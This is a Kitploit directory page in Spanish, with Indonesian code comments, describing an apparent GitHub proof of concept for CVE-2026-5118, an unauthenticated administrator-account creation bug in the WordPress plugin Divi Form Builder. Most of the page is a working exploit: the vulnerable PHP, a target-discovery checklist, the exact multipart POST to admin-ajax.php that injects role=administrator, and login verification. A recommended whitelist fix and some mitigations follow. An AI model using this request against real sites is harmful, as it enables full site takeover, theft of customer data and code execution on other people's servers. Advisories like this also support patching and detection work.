Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalada de Privilegios no Autenticado mediante Inyección de Roles | Kitploit
Herramientas/GitHubGitHub/zycoder0day/cve-2026-5118
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalada de Privilegios no Autenticado mediante Inyección de Roles

Ver Repositorio
51hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Escalada de Privilegios sin Autenticación


🎯 Resumen

El plugin de WordPress Divi Form Builder versión 5.1.2 y anteriores tiene una vulnerabilidad Crítica que permite a un atacante sin autenticación crear una cuenta de Administrador directamente a través del formulario de registro.

Un campo oculto. Un valor modificado. Acceso completo a todo el sitio web.


🧨 ¿Qué puede hacer el atacante?


🔬 Análisis de Vulnerabilidad

Ubicación de la Vulnerabilidad

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

Código Vulnerable

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

¿Por qué funciona?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

Vector de Ataque

El formulario de registro de DFB contiene un input oculto:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Prueba de Concepto — Cadena de Ataque

Fase 1: Ingeniería — Encontrar el Objetivo

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

Fase 2: Extracción de Parámetros del Formulario

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

Fase 3: Inyección de Rol — Escalada de Privilegios

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

Fase 4: Verificación — Acceso de Administrador

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 Verificación de Laboratorio

Las pruebas se realizaron en un entorno Docker aislado (WordPress 6.5 + DFB v5.0.0):

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 Corrección Recomendada

Solución: Lista blanca de roles de registro

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

Pasos Adicionales

  1. Eliminar el parámetro role del formulario frontend — Usar default_user_role que ya existe
  2. Añadir verificación de nonce estricta en el manejador AJAX
  3. Añadir verificación de capacidad current_user_can('create_users') para roles especiales
  4. Rate limiting en el endpoint de registro para prevenir fuerza bruta

📊 Timeline

FechaEvent
2026-04-13Versión 5.1.3 lanzada (posible corrección según el changelog)
2026-05-21Vulnerabilidad verificada de forma independiente en laboratorio aislado
2026-05-21Divulgación responsable enviada a Divi Engine Security

🛡️ Mitigación Temporal (Antes del Parche)

  1. Actualizar a la versión 5.1.3+ si está disponible
  2. Desactivar el formulario de registro DFB hasta que se aplique la corrección
  3. Usar regla de WAF para bloquear el parámetro role=administrator en solicitudes POST
  4. Monitorear la tabla wp_users en busca de cuentas admin nuevas no reconocidas
  5. Limitar el acceso a /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler

⚖️ Descargo de Responsabilidad

Este documento se creó con fines educativos y de divulgación responsable. Todas las pruebas de explotación se realizaron en un entorno de laboratorio aislado. En objetivos en vivo, solo se realizó detección pasiva (identificación del formulario y parámetros, sin envío de datos de explotación).

El autor no se hace responsable del mal uso de la información contenida en este documento.


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Escalada de Privilegios sin Autenticación
Discovered & Verified: 2026-05-21

Descargar herramienta
CapacidadImpacto
🔑 Crear cuenta de admin sin inicio de sesiónFull Site Takeover
📦 Acceder a datos de clientes de WooCommerceData Breach
💉 Editar archivos de plugin/tema (PHP)Remote Code Execution
🕳️ Crear backdoor ocultoPersistent Access
👥 Ver todos los datos de usuariosPrivacy Violation